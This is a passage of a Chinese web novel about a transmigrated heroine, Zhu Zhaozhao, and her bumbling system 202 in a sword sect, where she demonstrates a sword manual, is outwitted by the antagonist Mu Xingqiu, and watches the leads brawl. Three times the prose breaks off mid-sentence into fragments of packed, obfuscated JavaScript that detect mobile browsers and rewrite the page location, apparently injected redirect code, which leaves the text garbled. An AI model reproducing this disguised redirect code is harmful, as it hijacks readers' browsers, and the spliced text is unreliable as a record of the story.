所有人闻言皆是一愣,只有祝昭昭眼底浮现笑意。 视线环绕一圈,将众人反应收进眼底。慕行秋给出最后答案—— “那是云珈在最后关头领悟出的,第一节最后一招的变式。” 人群里响起惊叹声。 竟然是变式! 仅用两盏茶时间和一场战斗,就能在一个剑招的基础上领悟出新的出招方法。 这是对剑招掌握到了何种地步? 真相大白,邢煜哪怕再不甘,也只能接受自己被云珈打败的事实。 额角青筋显露,他死死捏紧拳头。 看着犹带不服的邢煜,慕行秋意味深长:“你败,便败在未把剑招钻研领悟透。” “可我分明给了你两盏茶时间。” “两盏茶时间又如何?!” 邢煜再也按捺不住:“放眼整个新生班,能两盏茶就将剑招钻研透彻的有几人?云珈能做到那个程度也只是危急关头被我逼出潜能罢了!” “根本不可能有人能在那么短的时间内练熟剑招!” 说罢直喘粗气,邢煜如同被激怒的狮子般瞪视着慕行秋。 神色丝毫不因邢煜近乎无理的行为改变,慕行秋平静回望他。 半晌,他终于开口:“你说任务不合理。” “可我从不布置超出被教导者的任务。” 没给邢煜反驳的机会,慕行秋说完,忽然抬头朝着某个方向:“你说是么?” 他这声突然,所有人顿时顺着他问话的方向看去。 本来在默默吃瓜的祝昭昭瞬间变成焦点。 从慕行秋带着笑意的眼神里读出了‘这就是我的请求’的意思,祝昭昭狠狠沉默。 有那么一瞬间,她真的很想给慕行秋的脑袋来个大大的暴扣。 果然接下来,慕行秋温和的话音响起:“昭昭师妹,麻烦你。” 祝昭昭面无表情。 算了,就当是刚才用茶浇他的赔礼。 长长吐出一口气,祝昭昭径直走到云珈面前:“素云借我一用?” 毫不犹豫地,云珈直接把手里素云抛向祝昭昭:“我们俩还谈什么借不借。” 振臂一扬的拳头权当回答,祝昭昭背对着云珈,在空地中央站定。 没人知道慕行秋为什么这时候叫祝昭昭来,场间开始窃窃私语,众人纷纷猜测起原因。 直到祝昭昭利落翻起一个剑花,行云流水地完成了一套剑招,众人终于恍然。 那是云珈三人方才练的那招。 是邢煜刚才放话‘根本不可能在短时间练熟’的那招。 本就因气愤涨红的脸变得更红,邢煜继续嘴硬:“她昨晚就拿到了剑谱,一晚上的时间还不把这招练熟,她凭什么做宗主的亲传弟子?” 闻言并不驳斥,慕行秋反而微微颔首:“你言之有理。” 紧接着,他朝祝昭昭方向淡声:“那么还请昭昭师妹继续。” 刚好练出手感,这次,祝昭昭没怎么犹豫就继续下去—— 第二节剑招开始。看着她轻松且流畅的动作,邢煜仍然不服地嚷嚷着‘不过两节,一晚当然轻松可练。’ 第三节,第四节…… 随着剑招节数的推进,邢煜渐渐不再说话,脸上神情也从不屑转为震撼。 因为祝昭昭还在继续。 不止如此,她的动作也越来越快。 随着舞剑节奏的加速,剑影伴随着凛冽剑意不断在她周身闪烁,到最激烈之时,甚至恍惚给人以电光在面前亮起的错觉。 早在祝昭昭舞剑的间隙就来到云珈身旁,齐青青问正在看剑谱的云珈:“这是第几节?” 云珈盯着手里的银签:“第七节。” 她紧接着补充:“剑谱一共八节。” 云珈声音不大,却也没有刻意压低。而修行之人本就五感灵敏,是以这句话的传播效果约等于公放广播。 倒抽气的声音在人群中响起。 任何修炼典籍,难度都是逐渐递增的,剑谱更是如此。 作为被掌教选中让他们学习的剑谱,更是怎么想都不可能是简单之物,方才云珈那十二剑也侧面印证了这点。 但祝昭昭一个晚上就练了七节?? 且看她动作,这七节还不是她囫囵练过,随随便便舞出来应付掌教…… 而是她切切实实掌握了的。 这是什么概念?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280517|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从祝昭昭身上收回目光,云珈和齐青青不约而同地对视一眼,又都在对方眼中看见了然与佩服。 到此为止,祝昭昭的演示已经来到第七节末尾。 她却还没有半点停下的势头。 人群静得可怕,空气里只剩下她舞剑时的剑鸣声。 第八节毫无悬念地开始。 跟随祝昭昭的动作摇动手里银签,云珈看了半晌后忽然皱起眉头。 齐青青注意到她的表情变化:“怎么了?” “第八节有一个地方很奇怪。” 云珈捏着银签点了点:“它既要练习者保持招数行动,又要练习者控制灵力凝聚在剑身瞬间爆发。” “可两者怎么可能同时进行?” 目光从云珈处收回,齐青青很快也皱起眉。她刚想说些什么,身后有人却先她一步开口—— “两者当然可以同时进行,只是方式需要修炼者沉下心领悟。” 示意云珈和齐青青不必行礼,慕行秋目光落在场地中央翻飞的人影上:“看看她是如何处理的,你们之后可以参考她的应对方式。” 掌教竟然毫不怀疑昭昭会失败? 闻言都有些惊讶,云珈和齐青青看着祝昭昭的目光也隐隐期待起来。 * 并未注意到这边的小小插曲,祝昭昭全身心都沉浸在舞动的剑上。 早在昨天修炼的时候,她就已经注意到第八节的问题。当时的她和云珈有着同样的疑问,可摸索了一晚上也没有很好解决。 直到刚才学会了灵力控物。 感受着围绕在周身的灵力,祝昭昭垂眸。 舞剑很快来到第八节末尾,看着空地中央的身影,云珈和齐青青都紧张起来。 毫无征兆的,场间灵力开始快速流动起来。 最先发现的是站在最外边的弟子,随着灵力被引动,风轻轻将他的头发吹起。 朝着祝昭昭的方向。 不等他反应,风骤然变大,灵力以祝昭昭为中心快速聚拢。 第八节的最后一式是斩。 剑挥出的瞬间配合凝聚到极致的灵力爆发,顷刻就能重创对手。 所以当祝昭昭持剑的手骤然转变时,慕行秋动了。 轻轻将身前的云珈和齐青青推到自己身后,他两指并拢朝祝昭昭方向一点,灵力罩霎时覆盖空地。 也就在那瞬间,祝昭昭一剑斩出。 灵力罩隔绝罩内与罩外,众人因此没有听见太多响动,只是看见一道剑气猛然斩向灵力罩,引起罩子一阵颤抖。 邢煜却不同。 看着自己面前的,已然裂出数道裂痕的灵力罩。感受到其中泄露出的暴烈气息,他无法控制地打了个颤。 如果没有灵力罩,这道攻击落到他身上,他会是什么下场? 换做提前拿到剑谱的是他,他又是否能将一套剑法练到这种程度? 视线下意识地落在灵力罩中央的祝昭昭身上,邢煜再也没了刚才的嚣张气焰。 相比邢煜内心的千回百转,祝昭昭倒是没想那么多。 知道慕行秋会善后,她最后那招纯粹故意吓唬邢煜,算是给他上点眼药。 谁让他爱跳。 收起还在兴奋颤鸣的素云,祝昭昭快步走到慕行秋面前。 敲敲透明的灵力罩,她比口型—— ‘解开它。’ 慕行秋却没有第一时间回应祝昭昭。 望着祝昭昭笑笑,他亦开口。 他说—— ‘干得不错。’ 视线对上慕行秋那双含着浅淡笑意的眼睛,祝昭昭面无表情地往后退了两步。 看什么看,回家照镜子去。 祝昭昭:冷酷·jpg 35. 对师兄再有耐心些如何? 灵力罩随着慕行秋的动作消失,藏在他身后的云珈第一时间朝祝昭昭扑过去:“昭昭,你太棒了!” “一晚上练完整套剑谱,你是怎么做到的?” 云珈眼睛亮晶晶的:“教教我,你一定要教教我。” 差点被云珈当场撞翻,祝昭昭好不容易站稳,痛并微笑着:“好好好,我知道了,以后一定教你。” 把贴在自己身上的云珈扶起来,祝昭昭将手里素云交还给她:“你的素云,拿好。” 云珈接过素云的功夫,慕行秋和齐青青也走到两人身旁。 看着不知何时已经自觉集合起来的其他人,慕行秋话音淡淡:“方才祝昭昭的演示,你们是否已经看清楚。” 众人先是点头再摇头,空气很可疑地沉默下去。 慕行秋并不意外这种情况。 倒不如说,问出这个问题的时候,他就已经预见了这种反应:“看不明白也无妨,你们只需记住祝昭昭演示时你们心里的感觉。” “之后亲自开始练时,你们会有自己的理解。” 众人纷纷点头。 然后很快有人察觉不对:“掌教,我们很快就要开始练这套剑谱了吗?” 人群因为这个问题小声议论起来。 不是他们不愿意练,主要是有云珈等人珠玉在前,更别提还有一个一晚上练完全本剑谱的祝昭昭一一 要是掌教拿这几个人当示范,让他们按这个速度把剑谱练完…… 他们还活不活了? 但紧张的气氛没持续多久。 因为慕行秋很快给出回答:“自然不是。” 众人松了口气。 接着就听他继续:“你们要先练到,能像祝昭昭那样自由使用灵力控制金球。” 众人放松下来。 那还是好说,给够时间的事。 “五天之内。” 哀嚎声瞬间炸锅。 任由面前一帮人各种抓耳挠腮扭曲爬行,慕行秋目光落在从祝昭昭出来后就一直安安静静的邢煜身上。 “如何。” 他平静开口。 “还觉得我布置的任务不合理吗?” 袖口下的手捏紧成拳,邢煜没有吭声。 第一次,他说‘两盏茶不可能练完一节剑招’,齐青青就直接两盏茶练到第二节剑招,云珈更是摸索出了剑招变式。 第二次,他说‘不可能有人那么快把剑招练熟’,慕行秋就找出了个一晚练熟整套剑谱的祝昭昭。 他还能怎么说? 将邢煜的反应收进眼底,知道自己的目的已经达到,慕行秋点到为止。 对邢煜留下一句‘今晚练完剑谱第二第三节’后,他将注意力重新放在祝昭昭三人上。 先是大概简述了云珈和齐青青两人各自修炼剑法时的问题,又给两人布下和邢煜一样的修炼进度,慕行秋对两人的针对性教导到此为止。 而在旁边等两人挨训结束,就准备一起去山下集市逛街的祝昭昭听到这早已不耐烦。 有什么好叮嘱来叮嘱去的,课上的事为什么不课上解决? 拖堂不了一点好吗?! 正在心底骂得起劲时,祝昭昭忽然感觉有人看着自己。 那目光带着些探究,让祝昭昭本来就不耐烦的心情变得更差。 看看看,看什么看?! 回雾鸣山自己照镜子去! 撇撇嘴,她脸色略差地回头:“掌教有什么事。” 没错,视线的主人正是慕行秋。 “昭昭师妹好像有些着急。” 似乎没有察觉到祝昭昭语气里的不耐,慕行秋依旧好声好气:“是有什么事急着去做么?” “没有。” 无视脑海里202略带慌张的‘主人你这样会让大反派不高兴’的警告,祝昭昭嘴角扯出一抹相当公式化的弧度:“我没什么事着急去做。” 然而她话音刚落,一道声音就横插进来:“昭昭,我们一会不是还要去山下逛集市——” 说到一半的云珈被齐青青捂着嘴巴拖走。 空气却因为她这句话沉默了好一会。 直到慕行秋带着了然的声音重新响起:“原来是急着去山下逛集市么。” 祝昭昭:…… 云珈。 我真的,谢谢你。 此刻的场面过于尴尬,以至于祝昭昭脚趾扣地的同时,已经开始思考起世界起源。 就在这时,一只手伸到她面前。 骨节分明且修长白净的手上,卧着一个淡青色绣竹纹的荷包。 祝昭昭头顶传来慕行秋的声音。 “就当是师兄给你的见面礼。” 闻言先是一怔,祝昭昭紧接着快速扫了周围一圈。 其他人不知何时已经全部离开,整个院子现在只剩下他们两人。 难怪慕行秋突然来这么一着。 祝昭昭将注意力放回慕行秋掌心的荷包上。 在‘看’清荷包里装的到底是什么后,她的眼神忽然就从被单独留下的了无生趣,变得神采奕奕。 二十颗高级灵石! 早知道别说二十颗高级灵石,就算是半颗,一会儿包完下山后她们三个的所有开支都还有剩。 虽然她不缺钱,但试问普天之下,谁会嫌钱多呢? 原本客套到敷衍的笑容突然变得无比真实,祝昭昭笑眯眯地接过慕行秋手里荷包。 她情真意切:“谢谢师兄。” “不必客气。” 慕行秋言笑晏晏:“师妹喜欢我送的礼物就好。” “师兄这是什么话。” 感受着来自掌心的重量,祝昭昭连带着都觉得眼前的慕行秋顺眼许多:“凡是礼物都不分高低贵贱,都是心意,我都会喜欢。” “师妹喜欢就好。” 慕行秋微一颔首:“那师妹既然愿意接受我的礼物,今后能否对我多些耐心?” 祝昭昭当然不会觉得慕行秋不知道自己对他的真实态度。 她不承认也不否认:“师兄所言差矣,我一直都很尊敬你,对你很有耐心。” 慕行秋乘胜追击:“那再有耐心些如何?” 祝昭昭敷衍应对:“好说。” “既然如此,那我便放心了。” 慕行秋话锋突转:“师妹,你今日剑法练得确实优秀,但最后末式一招却发挥得仍有精进空间。” 突然听到这么一句,祝昭昭怔。 而见她没反应,那边慕行秋飞快继续:“但你出招的思路是对的。所以你可以抓住这点,将它磨练至完美。” “三日。” 他表达之快速清晰,一听就是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280518|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有预谋:“我给你三日时间将这招练好,三日后我会在课堂上验收你的修炼成果,若是那时还有大问题——” 话到最后,慕行秋图穷匕见:“那么你之后除了和月书还有之衡一起加练外,还要单独加练我给你的任务。” “既然该说的都已说完。” 他召出本命剑:“我就不妨碍师妹和两位小友下山逛集市了。” 远远抛下一句‘我相信师妹定能做好’,慕行秋很快消失在院中。 只剩被他连珠炮般的发言和流畅到像是排练过的动作惊呆在原地的祝昭昭。 直到再也感知不到慕行秋的气息,她终于回过神来。 “所以……”如果不是掌心还握着的荷包,她几乎快以为刚才发生的一切都是幻觉,“刚才是发生了什么?” “你被大反派布置了新的学习任务。” 202冒出来,很贴心地解释:“他用二十块高级灵石做代价骗你听他的话,接受了超高难度的学习任务。” “而且给的时间超短。”它最后补充。 被震撼到甚至忘了发火,祝昭昭面无表情地低头看着掌心的竹纹荷包。 好半晌后,她喃喃:“……总之二十块高级灵石,我还是不亏。” “可作为雾鸣山大师兄,同时还在剑宗身兼数职的大反派,他身上的小金库,哦不对,是大金库。” “他的大金库里可是满满当当的哦。” 202生怕祝昭昭听不明白一样:“二十块高级灵石对他来说,约等于你那个世界的二十块。” “他只用二十块就把你打发了。” …… 听到这的祝昭昭终于绷不住了。 她一言不发地开始翻位面维护员背包。 202本来还有点不解,直到看见祝昭昭从里面翻出来的东西后,当场吓得整颗球都变形了。 那是一把通体漆黑的狙/击/枪。 “主主主主人你在干嘛,这东西不是在这里用的啊!!”202的机械音都急变调了,“你在这里用这个被人发现了,任务会直接失败的!” 祝昭昭没说话,空出的手从背包抽出快捷版消除记忆小插件。 按下按钮就启动那种。 202都惊呆了。 因为这东西它都没有! 顾不上震惊祝昭昭到底从哪搞来的这玩意,眼看再不拦下她,她就要直接拖着/枪/去找人了,202急得直接伸出两只细条条的机械手抓住她的脚。 它边抓边嚎:“主人,你就当他是维护员升名路上的小小绊脚石,别跟他计较了!” “毕竟对我们来说,他们只是过眼云烟啊啊啊!” 祝昭昭停下脚步。 倒不是被202的肺腑之言劝住的。相反,202差点激得她直接把狙/击/枪换成冲/锋/枪。 毕竟都过眼云烟了,她真实慕行秋等于把云烟吹散。 那很过分吗? 她真正不动手的原因主要是突然想起来如果直接宰了慕行秋,失去重要配角的位面世界会直接崩溃。 可她还是挺喜欢这里的。 所以深呼吸,祝昭昭最后收起/枪。 这次算她大发慈悲,但这狗小子以后晚上睡觉最好留一只眼站岗。 否则哪天真把她惹急了,她非刀了他不可。 36. 你看男女主多般配呀 雾鸣山某不知名,但山中弟子公认最爱去的树林内—— 由于今天的祝昭昭被慕行秋单独下放了修炼任务,是以原本三人一同加练的固定节目,今天变成了白月书和秦之衡一起,祝昭昭单独练慕行秋给的任务。 在被白月书强制让她留下的,光线和灵气都最好的地方。 白月书和秦之衡则去到不远处的另一片空地修炼。 一打眼就能看见祝昭昭在干什么的那种空地。 有那么一瞬间,祝昭昭感觉自己其实不是在修真界执行任务,而是回到了被爸妈监督学习的时候。 不是,怎么都到了玄幻世界还逃不脱被盯梢学习啊? 感受着不远处时不时传来的目光,练着剑的祝昭昭陷入沉思。 这当口202还给她增添烦恼:“主人,有件事……我不知道该不该跟你提。” 它说这话的时候,姿态扭捏一脸为难,好像真的在因为考虑祝昭昭的感受而纠结。 祝昭昭都差点笑出声。 如果不是搭档那么久深知202尿性,她也许真的会相信。 但很遗憾,许多事没有如果。 加上这会儿心情不太美妙,祝昭昭更不会陪它演。 一个眼神都没给202,她语气平直:“202,你再拿八点档那套在我这用试试。” 死一般的寂静。 再开口,202明显正常多了:“主人,我总觉得你对大反派的态度太尖锐。” “就今天,我都好几次担心他真生气对你印象变差。” 它心有余悸:“尤其是你故意让茶杯炸在他面前溅他一脸水那里。我都怕他气坏了让你见点血。” “是么。” 与惶惶然的202相比,作为始作俑者的祝昭昭,态度却出奇地平静。 手里长剑翻出利落剑花,她面不改色:“我故意的。” 故意…… 故意的…… 从怔愣到回神,反应过来的202整颗球瞬间疯狂震动起来。 它在祝昭昭脑海里大呼小叫:“你在说什么啊主人!你故意去惹毛大反派?” “你不想走任务,不想升排名,不想把第三名那个嘚瑟狂踩在脚底了吗??” 202状若癫狂,整颗球在祝昭昭旁边扭曲爬行:“你是不是又背着我偷偷跟柳雨露那家伙聊天了?” “她排名在你前面又怎样?我叫你少跟她说话你不听,她会把你教坏的!” 越说越急眼,202脑门投影亮起,当场就要给祝昭昭来次位面维护员警示视频播放。 然后被祝昭昭一顿电。 “我先警告你,你的好朋友628是雨露的搭档。我不会告诉她你说她坏话,但你如果自己说漏嘴,628一定会和雨露告状。” 祝昭昭一剑纵斩,剑意割裂空气响起爆鸣声:“到时候你什么下场,你自己知道。” 像是想起什么不好的回忆,被提醒的202抖了抖,安静下来。 看着脑海里202鹌鹑一样的架势,祝昭昭又有点不忍心。 她叹口气:“好了,回归正题。” “你担心我态度太冷硬会激怒慕行秋,但你想过没有,我现在的身份是一个十五岁的,被月书师姐从山下捡回来的,什么都不懂的孩子。” 祝昭昭语气淡淡:“一个从山野村落来的孩子,却无师自通假笑迎人乃至故意讨好他。” “这难道不更可疑?” 静静在祝昭昭身旁漂浮,202像个犯错的孩子一样不吭声。 祝昭昭不在乎它吭不吭声:“我观察慕行秋的同时,他也在观察我。他一个心眼比头发都多的人,我一旦做出明显反常理的事,必然会被他立刻察觉。” “所以我与其小心翼翼讨好他,倒不如反其道行之,就认认真真做一个什么都不懂的小丫头。” 感受到白月书处投来的视线,祝昭昭手下动作一顿:“刁蛮任性又怎样,和他对着干又怎样?合适的尺度内,我越无礼,他反而越不会对我起疑。” “毕竟作为各种头衔加身的优秀弟子,一手带大白月书和秦之衡的雾鸣山大师兄,他对如何应对小屁孩想必很有经验。” “那我降低他警戒心的同时满足他的观察,有问题?” 202早被祝昭昭一番言论震撼。 好一个根据任务对象性格逆推应对方式。 难怪它总能在主系统匿名论坛里看见有人发帖,求助如何防止前十维护员搞违规操作。 这应对方法,没点人类观察样本搞得出来? 一边是白天慕行秋偶尔看着祝昭昭时,意味深长的含笑眼神;一边是刚刚祝昭昭表面满不在乎,实则却精准拿捏的应对理论。 夹在中间的202瑟瑟发抖。 628说得没错,它真的要向主系统申请升级逻辑推演小插件了。 否则再这样下去,今后它只有跟在祝昭昭身后做应声虫的份。 可它明明是系统,是引领维护员做任务的灯塔指南针啊! 被维护员牵着鼻子怎么行?! 信念因为这个念头熊熊燃烧,202信心满满地盯着祝昭昭。 然后下一秒,就被祝昭昭看笨蛋的眼神看蔫巴下去。 它小声逼逼:“可,可是这样互相试探风险也太大了,一个不留神就会被任务对象发现端倪。” “要我说,最稳妥的执行任务方式还是非攻心莫属。” 202一副经验老道的样子:“自古情之一字磨人,不知道多少任务对象被维护员用感情迷惑,让任务顺利完成。” 它循循善诱:“你想想,要是大反派爱上你,不就会对你言听计从了吗。到时候你和他花前月下着就把任务完成了,多轻松啊?” 越说表情越美,202仿佛已经看见祝昭昭勾勾手指就随意摆弄慕行秋的光明未来:“要是在谈出一段凄美佳话……哎呀,想想就很激动!” 独自陶醉半天,202终于注意到祝昭昭好像一直没有反应。 于是它整颗球朝祝昭昭的方向一转—— 恶寒、嫌弃、欲言又止、怒其不争……它从没在祝昭昭脸上见过那么复杂的表情。 看垃圾一样的表情。 被这眼神深深攻击到,202瞬间慌得像开了震动模式。 它语无伦次:“主人你,你为什么这么看我?” 还敢问为什么。 祝昭昭都不知道该笑还是生气。 凝结于剑身的灵力猛地炸开,她面无表情:“202,我是不是让你过得太舒服了。” “你平时到底看了多少肥皂剧才把脑子看成这样。” 祝昭昭语速快且平静:“上次就跟你说过,执行任务走感情流吃力不讨好,一不小心就得把自己赔进去。” “碰见危险的任务对象,轻则情绪失控任务告急要死要活,重则断手断脚挂着链子进小黑屋——” “要是手段再狠点,我有几颗肾够人摘?” 说到这的祝昭昭终于尽显嫌弃之色:“到底谁会在走投无路前,选择以身犯险和任务对象谈感情?” 听到这的202忽然安静下来。 它欲言又止:“主人。” 不耐烦的祝昭昭:“说。” “你是不是忘了二部门的分类是什么。” 这次轮到祝昭昭闭嘴。 202小心翼翼:“二部门那边的位面,主打的就是进去直接感化任务目标。” “……” “谈恋爱那种,受情伤少器官算工伤那种。” 祝昭昭沉默。 突然想起自己当初为什么顶着所有人的不解选择了三部门是怎么回事。 “总之。” 202蹦哒着出现在外面:“不管什么招数,能用的就是好招数。一般情况下感情流风险小回报高,这是无数维护员总结出来的经验。” 它锲而不舍地给祝昭昭举例子:“主人你看——” 不想搭理202又怕它一直缠着自己,祝昭昭撇嘴,不情不愿地顺着它示意的方向看过去。 是不远处的白月书和秦之衡。 这会儿应该是休息时间,他们正坐在一块巨石上。 准确地说,他们正互相依偎着,坐在巨石上。 完全忘了附近还有一个祝昭昭的样子。 很快反应过来这可能是202的手笔,心道正好趁这会儿休息一下,祝昭昭干脆借驴下坡收起剑。 然后从空间袋里搬出躺椅和小桌,又在202瞪大的眼睛里把一支可乐和若干零食拿出来。 她甚至很好兴致地在小桌中央放了鲜切插花,最后才躺进躺椅里。 狠狠灌了一口可乐后满足地喟叹出声,祝昭昭翻起眼皮斜睨202:“看我干什么?” “看男女主啊。” 震撼到失语的202如梦初醒:“哦、哦。” “爱看就让你看个够。”祝昭昭撕开一包薯片。 于是一人一机继续围观。 那边白月书和秦之衡正坐着聊天。 秦之衡不知说了什么,白月书轻笑起来。 她那一贯淡然冷艳的面容多了笑意点缀,仿佛冰雪被冬日暖阳融化。 在那样动人的笑意里,秦之衡也无法自控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280519|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地柔和了眉眼。 他指尖微动,掌心多了一件小小的物什。 是一对小巧的玉石耳坠。 看着秦之衡把掌心的耳坠展现在白月书眼前,又如同对待珍宝般轻柔到小心翼翼地替她带上那对耳坠—— 视线从秦之衡那微微颤抖的手上收回,饶是向来对情情爱爱不感冒的祝昭昭,这会儿也难得兴味盎然。 呵,够浪漫的。 还以为这木头似的小子满脑子只有修炼,没想到哄女孩子竟然也挺有一手。 祝昭昭边上的202更是已经兴奋得变身夹子:“哎呀主人你看看他们,多美好的画面啊!” “要是你和大反派也能谈到这个程度,那我们还用得着那么费劲巴拉地做任务吗?” 一把薯片进嘴,祝昭昭眼皮都不抬:“吵架怎么办。 “怎么会吵架呢!”202一听这话就急眼,“他们感情那么好——你看看,你平时能在他俩脸上见到这种表情??” “放主系统角色评估里,这架势都得被评ooc了你知不知道。” “我做系统这么多年,看过的情侣比你吃的饭还多。” 202一副恋爱导师的架势,“他们这对,绝对不可能吵架!” 祝昭昭回以白眼。 就在这时,不远处的白月书和秦之衡那边突然出了点情况。 不知道发生了什么,刚才还在亲密贴贴的两个人这会儿分开了,白月书甚至一脸严肃地看着秦之衡。 反观秦之衡这边,虽然没有那么严肃,但和白月书对视的神情同样算不上柔和。 他们这是……吵架了? 祝昭昭死鱼眼看向上方的202。 感受到祝昭昭的目光,202以晃动缓解尴尬:“……小情侣之间有点小斗嘴很正常,主人你还是见识得少。” 202话音落下的瞬间,白月书抓过身旁本命剑对着秦之衡就是一剑。 ??!! 这下别说202,就连祝昭昭都惊呆了。 什么情况? 被屏蔽结界笼罩的祝昭昭相当于完全隐身,她只能看到画面,无法听到声音。 她这会儿相当于在看默剧。 而随着白月书那一剑,默剧越来越激烈,到最后直接变成真人版全武行。 眼看白月书瞬移到秦之衡身后又是一脚,祝昭昭绷不住了。 她欲言又止:“所以他俩到底为什么突然打起来??” “不知道啊。” 视线从被白月书揍得毫无还手之力的秦之衡身上收回,202神色惊恐:“可能是碰见什么原则性问题了吧,比如婚后谁当家做主之类的?” “首先,这件事的答案毋庸置疑。” 祝昭昭撕开糖果纸:“其次,你就不能听听看?我是人不能出去,你也是人?” 恍然大悟的202很快飞到屏蔽结界边缘。 祝昭昭看着它的背影。 所以他们到底为什么打起来? 是为了他们两人之间的私事,还是有可能会影响到剧情走向的大事?她又该针对得到的信息做出什么应对?? 思忖着,祝昭昭开始紧张。 很快,202听完返回。 “所以到底怎么回事?”202表情太奇怪,祝昭昭的心渐渐提起来。 202:“……我没法说,主人你还是自己听吧。” 它取消屏蔽结界上的声音屏蔽。 “我说过提速要在运转灵力之前。” 白月书隐约带着怒意的声音响起。 又是一个闪身来到秦之衡旁边,她气势十足:“如何,之衡,我说得对不对。” 被打得只能被动防守的秦之衡根本不服:“灵力运转后再提速,更能保护自己。” 白月书于是更怒:“好,那我就让你心服口服!” 屏蔽结界内,死一样的寂静。 破案了。 很难评,毕竟是剑宗。 但上一秒刚送完礼物下一秒就打起来真的没问题吗? 月色里,白月书脸旁的玉石耳坠甚至还在闪着光。祝昭昭在他们愈加激烈的打斗里两眼发直地收回视线。 她看着202:“你还有什么话要说。” 202摇摇晃晃:“我觉得我们现在这样,其实也挺好的。” 一不小心就要上演全武行,谈恋爱真的太危险了。 没有接话,祝昭昭收起还没吃完的零食和其他东西:“时候也不早了,那我们回去吧。” “好……” 激烈的打斗声做背景音,一人一机沉默地离开树林。 37. 黑莲花什么的真的很讨厌! 走出树林的时候已经是戌时末。 没了林植树木的遮挡,月光直直落下,亮得祝昭昭下意识眯起眼。 202很不解:“主人,月光也要挡吗?” 这问题无厘头到祝昭昭不知道怎么回答。 所以她选择无视。 树林离小屋有一段距离,加上刚才现场版男女主全武行的画面过于有冲击力,于是祝昭昭干脆散步平复下心情。 202却还在她耳边喋喋不休:“主人,老实说我觉得大反派好难缠啊。我们的任务是阻止他黑化,但你和他接触的这段时间里我完全看不出他有什么问题。” “没问题意味着没漏洞,没漏洞我们怎么和他套近乎然后影响他啊。” “很符合你调性的发言。”祝昭昭面无表情点评。 202总觉得这话哪里不对又说不上来:“什么调不调性的,主人你才是真正跟他接触的人,你难道对此没什么想说的吗?” 祝昭昭想都不想:“没有。” 202:“……” 维护员对任务态度越来越懈怠怎么办,在线等,急。 “其实某种方面来说,你说的有几分道理。”祝昭昭随手揪了路边灌木丛一片叶子,“他确实没什么问题。” 202闻言得意:“我就说……” “我的意思是,他的所作所为,很符合他的性格,符合得没有问题。” 面无表情地打断202,想到什么的祝昭昭眼尾抽搐:“这么能给人添堵的任务对象,我拢共碰见不超过十个。” “他得排前五!” 祝昭昭烦躁地‘啧’了一声:“真不知道这么一个睚眦必报,心黑手狠,口蜜腹剑的笑面虎是怎么赢得剑宗上下一致好评的。” “难道看脸?” 心说看脸难道不是决定性原因,202小声逼逼:“没有一致好评吧,邢煜和他表兄那帮人就挺讨厌大反派的。” “这就是个谁更坏的问题。”祝昭昭不耐烦地摆摆手,“邢煜那帮人是明着坏,小心点还可以防着。慕行秋那种完全就是阴着坏。” “他笑着挖坑请你跳!” 祝昭昭没好气:“虽然都是无伤大雅的小坑,但小坑一个接一个也很烦人好吗?而且这家伙还动不动就阴阳你两句——” “说实话,我真不太理解月书师姐对他那天上有地下无的评价到底从哪来的。梦里?” 祝昭昭作思考状:“这是个值得深究的问题。” 看着几欲抓狂的祝昭昭,202想安慰又不知道从哪开始。 憋了半天,它吐出来一句:“你要是像其他人那样乖乖被他糊弄,可能就没这么多事了?” 嫌弃又不耐烦的表情瞬间凝固在脸上,祝昭昭盯着202。 选系统搭档的时候,她为什么没看出来这是个究极缺心眼的?? 仔细回忆的祝昭昭很快想起原因。 好吧,她当初确实是因为一眼看中202那满是清澈愚蠢的架势,出于一种‘想不了太多的搭档才是好搭档’的目的才选它做搭档。 所以这算不算搬起石头砸自己的脚? 祝昭昭:沉默·jpg 看着已经完全陷入灵魂出窍状态的祝昭昭,202有点慌。 主人不会在思考怎么把它炒了吧? 做前十维护员的搭档可是主系统里公认的金饭碗,主人不要它了,它上哪再找一个金饭碗? 前所未有的危机感让202警惕起来。 犹豫半秒后,它装作很自信的样子:“主人,你这就不懂了吧?我的意思是,主人你表面假装被他糊弄,暗里悄悄调查他。” “这样就不会被他欺负啦!” 怕光说话不够自信,202飘到祝昭昭身旁,从球里伸出一条细长的机械手拍她肩膀:“主人放心。有我在,所有问题都会迎刃而解!” “有问题要是指望你解决,那真可以躺平等重开了。” 无不嫌弃地以‘OK’手势拎起202的机械手,祝昭昭嗤声:“你没事别瞎添乱,就是对我最大的帮助。” 202:…… 痛,太痛了。 无视飘在边上假惺惺抹眼泪的202,祝昭昭把铺满月光的小路当成慕行秋瞪。 什么温柔可靠细心宽容男管家,统统都是掩人耳目的伪装! 祝昭昭:反派果然都是演技派。 